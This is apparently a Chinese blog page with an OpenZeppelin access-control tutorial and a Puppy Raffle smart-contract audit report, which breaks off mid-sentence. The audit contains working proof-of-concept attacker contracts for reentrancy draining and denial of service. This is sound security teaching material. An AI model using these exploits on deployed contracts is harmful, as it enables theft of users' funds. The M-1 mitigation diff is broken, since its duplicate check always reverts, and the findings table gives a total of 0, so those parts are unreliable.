首页
Search
1
yamux: how to work?
79 阅读
2
The Art of Memory Allocation: Malloc, Slab, C++ STL, and GoLang Memory Allocation
70 阅读
3
How to receive a network packet in Linux
63 阅读
4
Maps and Memory Leaks in Go
54 阅读
5
C++ redis connection pool
52 阅读
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
登录
Search
标签搜索
web3
solidity
web3 security
c++
uniswapV3
redis
evm
uniswap
性能测试
k8s
wireguard
CNI
http
tailscale
nginx
linux
设计模式
Jericho
累计撰写
51
篇文章
累计收到
13
条评论
首页
栏目
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
页面
搜索到
34
篇与
的结果
2025-10-28
Openzeppelin-Access Control
一、Access Control访问控制——即“谁被允许做这件事”——在智能合约的世界中至关重要。您的合约的访问控制可能决定谁能铸造代币、对提案进行投票、冻结转账以及其他许多事情。因此,理解如何实现它是至关重要的,以免其他人窃取您的整个系统。1.Ownership and Ownable 所有权和 Ownable最常见和最基本的访问控制形式是所有权的概念:有一个账户是合约的 owner ,可以在其上执行管理任务。对于只有一个管理用户的合约来说,这种方法是完全可以接受的。OpenZeppelin Contracts 提供了 Ownable 来实现您合约中的所有权。// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; contract MyContract is Ownable { constructor(address initialOwner) Ownable(initialOwner) {} function normalThing() public { // anyone can call this normalThing() } function specialThing() public onlyOwner { // only the owner can call specialThing()! } }部署时, Ownable 合约的 owner 被设置为提供的 initialOwner 参数。Ownable 还允许你:将 transferOwnership 从所有者账户转移到新的账户,以及renounceOwnership让所有者放弃这个管理权限,在集中式管理阶段结束后,这是一个常见模式。完全移除所有者意味着受 onlyOwner 保护的管理任务将不再可调用!Ownable 是一种简单而有效的访问控制实现方式,但您应注意将所有权转移到一个无法再与此合约交互的错误账户所带来的风险。解决这个问题的一个替代方案是使用 Ownable2Step ;一种 Ownable 变体,要求新所有者通过调用 acceptOwnership 明确接受所有权转移。请注意,合约也可以是另一个合约的所有者!这为使用例如 Gnosis Safe、Aragon DAO 或您自己创建的完全自定义合约打开了大门。通过这种方式,您可以使用组合性为您的合约添加额外的访问控制复杂层。您不必使用单个常规以太坊账户(外部所有账户,或 EOA)作为所有者,而是可以使用由您的项目领导者运行的 2-of-3 多重签名,例如。该领域著名的项目,如 MakerDAO,使用类似此系统的方案。2.Role-Based Access Control 基于角色的访问控制虽然所有权的简单性对于简单系统或快速原型设计可能很有用,但通常需要不同级别的授权。您可能希望一个账户有权限从系统中禁止用户,但不创建新代币。基于角色的访问控制(RBAC)在这方面提供了灵活性。本质上,我们将定义多个角色,每个角色允许执行不同的操作集。例如,一个账户可能有“moderator”、“minter”或“admin”角色,然后您将检查这些角色,而不是简单地使用 onlyOwner 。这个检查可以通过 onlyRole 修饰符来强制执行。另外,您将能够定义规则,说明如何授予账户角色、撤销角色等。大多数软件使用基于角色的访问控制系统:一些用户是普通用户,一些可能是supervisors或者managers,而少数通常具有管理员权限。3.Using AccessControl 使用 `AccessControlOpenZeppelin Contracts 提供 AccessControl 用于实现基于角色的访问控制。其使用方法非常简单:对于您想要定义的每个角色,您将创建一个新的角色标识符,该标识符用于授予、撤销和检查一个账户是否具有该角色。这里有一个使用 AccessControl 在 ERC-20 代币中定义“铸造者”角色的简单示例,该角色允许拥有该角色的账户创建新的代币:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessControlERC20MintBase is ERC20, AccessControl { // Create a new role identifier for the minter role bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); error CallerNotMinter(address caller); constructor(address minter) ERC20("MyToken", "TKN") { // Grant the minter role to a specified account _grantRole(MINTER_ROLE, minter); } function mint(address to, uint256 amount) public { // Check that the calling account has the minter role if (!hasRole(MINTER_ROLE, msg.sender)) { revert CallerNotMinter(msg.sender); } _mint(to, amount); } }在使用 AccessControl 在您的系统上之前,请确保您完全理解其工作原理,或者从本指南中复制粘贴示例。虽然清晰明确,但这并不是我们无法通过 Ownable 实现的事情。事实上, AccessControl 的优势在于需要细粒度权限的场景,这可以通过定义多个角色来实现。让我们通过定义一个“销毁者”角色来增强我们的 ERC-20 代币示例,该角色允许账户销毁代币,并使用 onlyRole 修饰符:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessControlERC20Mint is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); constructor(address minter, address burner) ERC20("MyToken", "TKN") { _grantRole(MINTER_ROLE, minter); _grantRole(BURNER_ROLE, burner); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } function burn(address from, uint256 amount) public onlyRole(BURNER_ROLE) { _burn(from, amount); } }太干净了!通过这种方式分离关注点,可以实现比简单的所有权方法访问控制更细粒度的权限级别。限制系统每个组件能够做什么被称为最小权限原则,这是一种良好的安全实践。请注意,每个账户仍然可以有多个角色,如果需要的话。4.Granting and Revoking Roles 授权和撤销角色上述的 ERC-20 代币示例使用了 _grantRole ,这是一个在程序化分配角色(如在构造期间)时非常有用的 internal 函数。但如果我们后来想将'minter'角色授予其他账户,该怎么办?默认情况下,具有角色的账户不能将其授予或撤销给其他账户:拥有角色仅意味着让 hasRole 检查通过。若要动态地授予和撤销角色,您需要角色的管理员协助。每个角色都有一个关联的 admin 角色,该角色拥有调用 grantRole 和 revokeRole 函数的权限。如果调用账户具有相应的 admin 角色,则可以通过这些函数来授予或撤销角色。为了便于管理,多个角色可以拥有相同的 admin 角色。一个角色的 admin 甚至可以是该角色本身,这将导致具有该角色的账户也能够授予和撤销该角色。这种机制可用于创建类似于组织结构的复杂权限结构,但它也提供了一种管理简单应用的方法。 AccessControl 包含一个特殊角色,称为 DEFAULT_ADMIN_ROLE ,它作为所有角色的默认管理员角色。具有此角色的账户将能够管理任何其他角色,除非使用 _setRoleAdmin 选择一个新的管理员角色。由于它默认是所有角色的管理员,实际上它也是自己的管理员,这个角色具有显著的风险。为了降低这种风险,我们提供了 AccessControlDefaultAdminRules ,它是 AccessControl 的一个推荐扩展,为这个角色添加了一系列强制安全措施:管理员被限制在一个账户上,并且需要经过一个带有步骤间延迟的两步转账程序。让我们看看 ERC-20 代币示例,这次利用默认的管理员角色:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessControlERC20MintMissing is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); constructor() ERC20("MyToken", "TKN") { // Grant the contract deployer the default admin role: it will be able // to grant and revoke any roles _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } function burn(address from, uint256 amount) public onlyRole(BURNER_ROLE) { _burn(from, amount); } }请注意,与前面的示例不同,没有账户被授予“铸造者”或“销毁者”角色。然而,因为这些角色的管理员角色是默认管理员角色,并且该角色已授予 msg.sender ,该账户可以调用 grantRole 来授予铸造或销毁权限,并调用 revokeRole 来移除这些权限。动态角色分配通常是一个理想的特性,例如在信任度可能随时间变化的参与者的系统中。它还可以用于支持 KYC 等用例,其中角色持有者列表可能事先未知,或者包含在单个交易中可能成本过高。5.Querying Privileged Accounts 查询特权账户由于账户可能会动态地授予和撤销角色,因此无法总是确定哪些账户持有特定角色。这很重要,因为它允许证明系统的一些特定属性,例如管理账户是多签或 DAO,或者某个角色已被从所有用户中移除,从而有效地禁用任何相关功能。在底层, AccessControl 使用了 EnumerableSet ,这是 Solidity 的 mapping 类型的更强大的变体,它允许进行键枚举。可以使用 getRoleMemberCount 来获取具有特定角色的账户数量,然后调用 getRoleMember 来获取这些账户的地址。const minterCount = await myToken.getRoleMemberCount(MINTER_ROLE); const members = []; for (let i = 0; i < minterCount; ++i) { members.push(await myToken.getRoleMember(MINTER_ROLE, i)); }6.Delayed operation 延迟操作访问控制对于防止未经授权访问关键功能至关重要。这些功能可用于铸造代币、冻结转账或执行完全改变智能合约逻辑的升级。虽然 Ownable 和 AccessControl 可以防止未经授权的访问,但它们并未解决不良管理员攻击其自身系统损害用户利益的问题。这就是 TimelockController 所要解决的问题。TimelockController 是一个由提议者(proposers)和执行者(executors)管理的代理。当设置为智能合约的所有者/管理员/控制器时,它确保提议者所下达的任何维护操作都会受到延迟。这种延迟通过给予用户时间来审查维护操作,并在他们认为这样做符合自身利益时退出系统,从而保护智能合约的用户。7.Using TimelockController 使用 `TimelockController默认情况下,部署 TimelockController 的地址将获得对时间锁的管理权限。此角色赋予分配提议者、执行者和其他管理者的权利。配置 TimelockController 的第一步是为至少一个提议者和一个执行者分配角色。这些角色可以在构造时分配,或稍后由具有管理员角色的任何人分配。这些角色不是排他的,这意味着一个账户可以同时拥有这些角色。角色通过 AccessControl 接口进行管理,每个角色的 bytes32 值可以通过 ADMIN_ROLE 、 PROPOSER_ROLE 和 EXECUTOR_ROLE 常量访问。AccessControl 之上还有一个附加功能:将执行者角色赋予 address(0) ,在时间锁过期后,任何人都可以执行提案。虽然这个功能很有用,但应该谨慎使用。此时,由于已经分配了提议者和执行者,时间锁可以执行操作。一个可选的后续步骤是部署者放弃其管理权限,并将时间锁自我管理。如果部署者决定这样做,所有进一步的维护工作,包括指派新的提议者/调度者或更改时间锁持续时间,都必须遵循时间锁工作流程。这将时间锁的治理与连接到时间锁的合约的治理联系起来,并对时间锁维护操作实施延迟。如果部署者放弃管理权以支持时间锁本身,指派新的提议者或执行者将需要时间锁操作。这意味着如果负责这两个角色中的任何一个的账户变得不可用,那么整个合约(以及它控制的任何合约)将无限期锁定。在提议者和执行者角色分配完毕,并且时间锁负责其自身管理的情况下,您现在可以将任何合约的所有权/控制权转移给时间锁。推荐配置是将这两个角色授予一个安全的治理合约,例如 DAO 或多签合约,并额外将执行者角色授予由负责协助维护操作的人员持有的几个 EOA。这些钱包不能接管时间锁的控制,但可以帮助使工作流程更加顺畅。8.Minimum delay 最小延迟由 TimelockController 执行的操作不受固定延迟的限制,而是受最小延迟的限制。某些重大更新可能需要更长的延迟。例如,如果几天的时间就足以让用户审计一次铸造操作,那么在安排智能合约升级时,使用几周甚至几个月的延迟是合理的。最小延迟(可通过 getMinDelay 方法访问)可以通过调用 updateDelay 函数进行更新。请记住,只有时间锁本身才能访问此函数,这意味着此维护操作必须通过时间锁本身进行。9.Access Management 访问管理对于合约系统,使用 AccessManager 实例可以实现更好的角色集成管理。与分别管理每个合约的权限不同,AccessManager 将所有权限存储在一个合约中,使您的协议更容易进行审计和维护。尽管 AccessControl 比 Ownable 为您的合约添加权限提供了更动态的解决方案,但在集成新的合约实例后,去中心化协议往往会变得更加复杂,并且需要您在每个合约中分别跟踪权限。这增加了权限管理和监控的复杂性。生产系统中的权限管理协议通常需要更集成的替代方案,以应对通过多个 AccessControl 实例产生的碎片化权限。AccessManager 的设计围绕角色和目标功能的概念展开:角色以多对多的方式授予账户(地址),以实现灵活性。这意味着每个用户可以有一个或多个角色,多个用户可以拥有相同的角色。对受限目标函数的访问仅限于一个角色。目标函数由一个合约(称为目标)上的一个函数选择器定义。要授权一个调用,调用者必须拥有分配给当前目标函数(合约地址 + 函数选择器)的角色。10.Using AccessManager 使用 `AccessManagerOpenZeppelin Contracts 提供 AccessManager 用于跨任意数量合约管理角色。 AccessManager 本身是一个可以即部署即用的合约。它在构造函数中设置了一个初始管理员,该管理员将被允许执行管理操作。为了限制对合约某些函数的访问,您应该继承与管理者一起提供的 AccessManaged 合约。这提供了 restricted 修饰符,可用于保护任何对外部可见的函数。请注意,您必须在构造函数中指定 AccessManager 实例的地址( initialAuthority ),以便 restricted 修饰符知道使用哪个管理者来检查权限。这里是一个简单的 ERC-20 代币示例,它定义了一个 mint 函数,该函数受到 AccessManager 的限制:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessManaged} from "@openzeppelin/contracts/access/manager/AccessManaged.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessManagedERC20Mint is ERC20, AccessManaged { constructor(address manager) ERC20("MyToken", "TKN") AccessManaged(manager) {} // Minting is restricted according to the manager rules for this function. // The function is identified by its selector: 0x40c10f19. // Calculated with bytes4(keccak256('mint(address,uint256)')) function mint(address to, uint256 amount) public restricted { _mint(to, amount); } }在使用 AccessManager 之前或从本指南中复制粘贴示例之前,请确保您完全理解 AccessManager 的工作原理。一旦托管合约部署完成,它就处于管理者的控制之下。初始管理员可以将铸造者角色分配给一个地址,并允许该角色调用 mint 函数。例如,以下是用 Ethers.js 编写的 JavaScript 代码演示了这一点:const MINTER = 42n; // Roles are uint64 (0 is reserved for the ADMIN_ROLE) await manager.grantRole(MINTER, user, 0); await manager.setTargetFunctionRole( target, ['0x40c10f19'], // bytes4(keccak256('mint(address,uint256)')) MINTER );尽管每个角色都有其自身的功能权限列表,但每个角色成员( address )都有一个执行延迟,这将决定账户在执行需要其角色的功能时需要等待多长时间。延迟操作必须在 AccessManager 中先调用 schedule 函数,然后才能执行,无论是调用目标函数还是使用 AccessManager 的 execute 函数。此外,角色可以设置授权延迟,以防止立即添加成员。AccessManager 管理员可以按以下方式设置此授权延迟:const HOUR = 60 * 60; const GRANT_DELAY = 24 * HOUR; const EXECUTION_DELAY = 5 * HOUR; const ACCOUNT = "0x..."; await manager.connect(initialAdmin).setGrantDelay(MINTER, GRANT_DELAY); await manager.connect(initialAdmin).grantRole(MINTER, ACCOUNT, EXECUTION_DELAY);请注意,角色不定义名称。与 AccessControl 情况相反,角色被识别为数值,而不是在合约中以 bytes32 值硬编码。仍然可以使用 labelRole 函数通过角色标签来允许工具发现(例如用于角色探索)。await manager.labelRole(MINTER, "MINTER");由于 AccessManaged 的管理员可以修改所有权限,建议仅将一个管理员地址安全地保存在多重签名或治理层下。为此,初始管理员可以设置所有必需的权限、目标和函数,分配新的管理员,并最终放弃其管理员角色。为了改进事件响应协调,管理员模式允许完全关闭目标合约。当合约关闭时,所有对目标合约中受限目标函数的调用都将回滚。关闭和开启合约不会更改任何设置,无论是权限还是延迟。特别是,调用特定目标函数所需的角色不会被修改。这种模式适用于需要暂时关闭合约以评估紧急情况并重新配置权限的事件响应操作。const target = await myToken.getAddress();await manager.setTargetClosed(target, true);await manager.setTargetClosed(target, false);即使一个 AccessManager 为目标函数定义了权限,如果管理的合约实例没有使用 restricted 修饰符,或者其管理者不同,这些权限也不会被应用。11.Role Admins and Guardians 角色管理员和守护者AccessControl 合约的一个重要方面是角色成员不会授予或撤销角色。相反,它依赖于角色管理员的概念来授予和撤销。对于 AccessManager ,同样适用此规则,只有该角色的管理员能够调用 grant 和 revoke 函数。请注意,调用这些函数将受到执行角色管理员执行延迟的影响。此外, AccessManager 还为每个角色存储一个守护者作为额外的保护。这个守护者有能力取消任何角色成员已安排的、有执行延迟的操作。考虑一个角色将默认将其初始管理员和守护者设置为 ADMIN_ROLE ( 0 )。对 ADMIN_ROLE 的成员要小心,因为它作为每个角色的默认管理员和监护人。行为不当的监护人可以随意取消操作,影响 AccessManager 的运行。12.Manager configuration 管理器配置AccessManager 提供了一个内置界面,用于配置权限设置,其 ADMIN_ROLE 成员可以访问。此配置界面包括以下功能:使用 labelRole 函数为角色添加标签。为角色分配管理员和监护人,使用 setRoleAdmin 和 setRoleGuardian 。通过 setGrantDelay 设置每个角色的授权延迟。作为管理员,某些操作将需要延迟。类似于每个成员的执行延迟,一些管理员操作需要等待执行,并应遵循 schedule 和 execute 工作流程。更具体地说,这些延迟函数是用于配置特定目标合约设置的函数。这些函数应用的延迟可以通过管理员使用 setTargetAdminDelay 调整。延迟的管理员操作包括:更新 AccessManaged 合约的授权方使用 updateAuthority 。通过 setTargetClosed 关闭或打开目标。通过 setTargetFunctionRole 更改权限,以决定角色是否可以调用目标函数。13.Using with Ownable 与 Ownable 一起使用已经从 Ownable 继承的合约可以通过将所有权转移给管理员迁移到 AccessManager。之后,所有带有 onlyOwner 修饰符的函数调用都应该通过管理员的自 execute 函数进行,即使调用者不需要延迟。await ownable.connect(owner).transferOwnership(accessManager);14.Using with AccessControl 与 AccessControl 一起使用For systems already using AccessControl, the DEFAULT_ADMIN_ROLE can be granted to the AccessManager after revoking every other role. Subsequent calls should be made through the manager’s execute method, similar to the Ownable case.对于已经使用 AccessControl 的系统,在撤销所有其他角色后,可以将 DEFAULT_ADMIN_ROLE 授予 AccessManager 。后续调用应该通过管理员的自 execute 方法进行,类似于 Ownable 的情况。await accessControl.connect(admin).revokeRole(MINTER_ROLE, account);await accessControl.connect(admin).grantRole(DEFAULT_ADMIN_ROLE, accessManager);await accessControl.connect(admin).renounceRole(DEFAULT_ADMIN_ROLE, admin);
2025年10月28日
1 阅读
0 评论
1 点赞
2025-09-14
puppy-raffle-audit
Puppy Raffle Audit Report审计详情项目地址:https://github.com/Cyfrin/4-puppy-raffle-audit本文档中描述的发现与以下提交哈希相对应:22bbbb2c47f3f2b78c1b134590baf41383fd354f范围./src/ -- PuppyRaffle.sol协议摘要Puppy Rafle 是一个致力于抽奖发放不同稀有度小狗 NFT 的协议。一部分入场费将归中奖者所有,其余费用则由协议所有者指定的另一个地址收取。角色Owner:唯一可以更改的人feeAddress,以_owner变量表示。Fee User:收取抽奖入场费的用户。以feeAddress变量表示。Raffle Entrant:任何参与抽奖的人。以在players阵列中为单位。执行摘要发现的问题严重程度发现的问题数量High4Medium3Low0Info8Total0发现High[H-1] 重入攻击PuppyRaffle::refund允许进入者耗尽合约余额描述:该PuppyRaffle::refund功能不遵循CEI/FREI-PI,因此导致参与者耗尽合约余额。在PuppyRaffle::refund函数中,我们首先对地址进行外部调用msg.sender,并且只有在进行该外部调用之后,我们才会更新players数组。function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); @> payable(msg.sender).sendValue(entranceFee); @> players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); }参与抽奖的玩家可以拥有一个fallback/receive函数,该函数会PuppyRaffle::refund再次调用该函数并申请另一笔退款。他们可以持续循环,直到合约余额耗尽。影响:抽奖参与者支付的所有费用可能被恶意参与者窃取。验证路径:用户参加抽奖。攻击者设置一个fallback,调用函数的合约PuppyRaffle::refund。攻击者进入抽奖环节。攻击者从他们的合约中调用PuppyRaffle::refund,耗尽合约余额。验证代码:contract ReentrancyAttacker { PuppyRaffle puppyRaffle; uint256 entranceFee; uint256 attackerIndex; constructor(address _puppyRaffle) { puppyRaffle = PuppyRaffle(_puppyRaffle); entranceFee = puppyRaffle.entranceFee(); } function attack() external payable { address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: entranceFee}(players); attackerIndex = puppyRaffle.getActivePlayerIndex(address(this)); puppyRaffle.refund(attackerIndex); } fallback() external payable { if (address(puppyRaffle).balance >= entranceFee) { puppyRaffle.refund(attackerIndex); } } } function testReentrance() public playersEntered { ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle)); vm.deal(address(attacker), 1e18); uint256 startingAttackerBalance = address(attacker).balance; uint256 startingContractBalance = address(puppyRaffle).balance; attacker.attack(); uint256 endingAttackerBalance = address(attacker).balance; uint256 endingContractBalance = address(puppyRaffle).balance; assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance); assertEq(endingContractBalance, 0); }缓解措施:改变调用顺序,在调用转账之前先更新 players 的状态 function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); + players[playerIndex] = address(0); + emit RaffleRefunded(playerAddress); (bool success,) = msg.sender.call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund player"); - players[playerIndex] = address(0); - emit RaffleRefunded(playerAddress); }[H-2] 弱随机性PuppyRaffle::selectWinner允许任何人选择获胜者描述:将msg.sender、block.timestamp、block.difficulty哈希运算在一起,可以生成一个可预测的最终数字。可预测的数字并非好的随机数。恶意用户可以操纵这些值,或提前知道这些值,从而自行选择抽奖的获胜者。影响:任何用户都可以选择抽奖的获胜者,赢得奖金并选择“最稀有”的小狗,本质上使得所有小狗都具有相同的稀有性,因为您可以选择小狗。验证路径:这里有几个攻击的例子。验证者可以提前知道block.timestamp和block.difficulty,并利用这些知识预测何时/如何参与。请参阅关于 prevrando 的 Solidity 博客。block.difficulty最近已被 取代prevrandao。用户可以操纵该msg.sender值以使他们的指数成为赢家。使用链上值作为随机种子是区块链领域中众所周知的攻击媒介。建议的缓解措施:考虑使用像Chainlink VRF这样的预言机来实现随机性。[H-3]损失费用的PuppyRaffle::totalFees整数溢出描述:在 之前的 Solidity 版本中0.8.0,整数容易发生整数溢出。uint64 myVar = type(uint64).max; // myVar will be 18446744073709551615 myVar = myVar + 1; // myVar will be 0影响:在 中PuppyRaffle::selectWinner,totalFees费用会被累积起来,以便feeAddress稍后在 中收取withdrawFees。但是,如果totalFees变量溢出,feeAddress可能无法收取正确金额的费用,导致费用永久地滞留在合约中。证明:我们首先对 4 名玩家进行抽奖,以收取一些费用。然后,我们又有 89 名玩家参加新的抽奖,我们也结束该抽奖。totalFees:totalFees = totalFees + uint64(fee); // substituted totalFees = 800000000000000000 + 17800000000000000000; // due to overflow, the following is now the case totalFees = 153255926290448384;您现在将无法提款,因为其中有以下行PuppyRaffle::withdrawFees:require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");虽然你可以用selfdestruct将ETH 发送到该合约以使 value匹配并提取费用,但这显然不是该协议的初衷。建议的缓解措施:使用较新版本的 Solidity,默认情况下不允许整数溢出。- pragma solidity ^0.7.6; + pragma solidity ^0.8.18;或者,如果您想使用旧版本的 Solidity,您可以使用像 OpenZeppelin 这样的库SafeMath来防止整数溢出。使用 auint256而不是 a uint64for totalFees。- uint64 public totalFees = 0; + uint256 public totalFees = 0;删除balance检查PuppyRaffle::withdrawFees- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");我们还希望在未来的发现中提请您注意此行所导致的另一种攻击媒介。[H-4] 恶意中奖者可永久停止抽奖描述:一旦选出获胜者,该selectWinner函数就会通过对获胜者账户的外部调用将奖品发送到相应的地址。(bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner");如果该winner账户是一个未实现应付账款fallback或receive功能的智能合约,或者这些功能已被包含但被 revert 了,则上述外部调用将失败,并且该selectWinner功能的执行将停止。因此,奖金将永远不会发放,抽奖也将无法开始新一轮。还有另一种攻击向量可以用来阻止抽奖,利用该selectWinner函数会为使用该函数的获胜者铸造 NFT 的事实_safeMint。该函数继承自ERC721合约,如果接收方是智能合约,则会尝试调用onERC721Received接收方的hook函数。如果合约未实现该函数,则 revert。因此,攻击者可以在抽奖活动中注册一个未实现onERC721Received预期hook的智能合约。这将阻止铸造 NFT,并将调用还原到selectWinner。影响:无论哪种情况,由于不可能分发奖品并开始新一轮,抽奖活动将永远停止。证明:function testSelectWinnerDoS() public { vm.warp(block.timestamp + duration + 1); vm.roll(block.number + 1); address[] memory players = new address[](4); players[0] = address(new AttackerContract()); players[1] = address(new AttackerContract()); players[2] = address(new AttackerContract()); players[3] = address(new AttackerContract()); puppyRaffle.enterRaffle{value: entranceFee * 4}(players); vm.expectRevert(); puppyRaffle.selectWinner(); }contract AttackerContract { // Implements a `receive` function that always reverts receive() external payable { revert(); } } // 或者如下实现 contract AttackerContract { // Implements a `receive` function to receive prize, but does not implement `onERC721Received` hook to receive the NFT. receive() external payable {} }建议的缓解措施:优先使用拉取支付而非推送支付。这意味着修改selectWinner函数,使获胜者账户必须通过调用函数来领取奖金,而不是让合约在执行期间自动发送资金selectWinner。Medium[M-1] 循环遍历玩家数组以检查是否存在重复项,PuppyRaffle::enterRaffle这是一个潜在的 DoS 向量,会增加未来进入者的 gas 成本描述:该PuppyRaffle::enterRaffle函数循环遍历players数组以检查重复项。然而,PuppyRaffle:players数组越长,新玩家需要进行的检查就越多。这意味着,在抽奖开始时立即进入的玩家的 Gas 成本将显著低于稍后进入的玩家。players数组中每个额外的地址,都是循环必须进行的额外检查。此外,增加的 Gas 成本创造了抢先交易的机会,恶意用户可以抢先交易其他抽奖参与者的交易,从而增加其成本,导致他们的参与交易失败。影响:影响是双重的。随着越来越多的玩家参与抽奖,抽奖参与者的汽油成本将大幅增加。为恶意用户创造了抢先交易的机会,以提高其他用户的 gas 成本,从而使他们的交易失败。证明:如果有 2 组各 100 名玩家进入,则 gas 成本如下:前100名玩家:6252039第二百名玩家:18067741对于第二组 100 名球员来说,这要贵 3 倍多!这是由于函数中的 for 循环造成的PuppyRaffle::enterRaffle。 // Check for duplicates @> for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } }验证代码:function testReadDuplicateGasCosts() public { vm.txGasPrice(1); // We will enter 5 players into the raffle uint256 playersNum = 100; address[] memory players = new address[](playersNum); for (uint256 i = 0; i < playersNum; i++) { players[i] = address(i); } // And see how much gas it cost to enter uint256 gasStart = gasleft(); puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players); uint256 gasEnd = gasleft(); uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice; console.log("Gas cost of the 1st 100 players:", gasUsedFirst); // We will enter 5 more players into the raffle for (uint256 i = 0; i < playersNum; i++) { players[i] = address(i + playersNum); } // And see how much more expensive it is gasStart = gasleft(); puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players); gasEnd = gasleft(); uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice; console.log("Gas cost of the 2nd 100 players:", gasUsedSecond); assert(gasUsedFirst < gasUsedSecond); // Logs: // Gas cost of the 1st 100 players: 6252039 // Gas cost of the 2nd 100 players: 18067741 }建议的缓解措施:有一些建议的缓解措施。考虑允许重复。用户无论如何都可以创建新的钱包地址,因此重复检查并不能阻止同一个人多次输入,只能阻止同一个钱包地址。考虑使用映射来检查重复项。这样您就可以在常数时间内(而不是线性时间内)检查重复项。您可以为每个抽奖活动指定一个uint256ID,然后映射将是玩家地址映射到抽奖活动 ID 的过程。+ mapping(address => uint256) public addressToRaffleId; + uint256 public raffleId = 0; . . . function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { players.push(newPlayers[i]); + addressToRaffleId[newPlayers[i]] = raffleId; } - // Check for duplicates + // Check for duplicates only from the new players + for (uint256 i = 0; i < newPlayers.length; i++) { + require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player"); + } - for (uint256 i = 0; i < players.length; i++) { - for (uint256 j = i + 1; j < players.length; j++) { - require(players[i] != players[j], "PuppyRaffle: Duplicate player"); - } - } emit RaffleEnter(newPlayers); } . . . function selectWinner() external { + raffleId = raffleId + 1; require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");或者,您可以使用OpenZeppelin 的EnumerableSet库。[M-2] PuppyRaffle::withdrawFees余额检查使恶意破坏者能够selfdesctruct将 ETH 发送到抽奖活动的合约,从而阻止提款描述:该PuppyRaffle::withdrawFees函数检查 是否totalFees等于合约的 ETH 余额(address(this).balance)。由于该合约没有payablefallback 或receive函数,你可能会认为这是不可能的,但用户可以selfdesctruct通过一个包含 ETH 的合约强制将资金转入合约PuppyRaffle,从而破坏此检查。 function withdrawFees() external { @> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); }影响:这将阻止用户feeAddress提取费用。恶意用户可以withdrawFee在内存池中看到交易,抢先执行,并通过发送费用来阻止提现。证明:PuppyRaffle其余额为 800 wei,总费用为 800。恶意用户通过selfdestructfeeAddress无法再提取资金建议的缓解措施:删除该功能上的余额检查PuppyRaffle::withdrawFees。 function withdrawFees() external { - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); }[M-3] 不安全的PuppyRaffle::fee损失费用描述:在 中PuppyRaffle::selectWinner,将 a 的类型转换为uint256。uint64这是一种不安全的转换,如果uint256大于type(uint64).max,则该值将被截断。 function selectWinner() external { require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over"); require(players.length > 0, "PuppyRaffle: No players in raffle"); uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; address winner = players[winnerIndex]; uint256 fee = totalFees / 10; uint256 winnings = address(this).balance - fee; @> totalFees = totalFees + uint64(fee); players = new address[](0); emit RaffleWinner(winner, winnings); }a 的最大值uint64为18446744073709551615。以 ETH 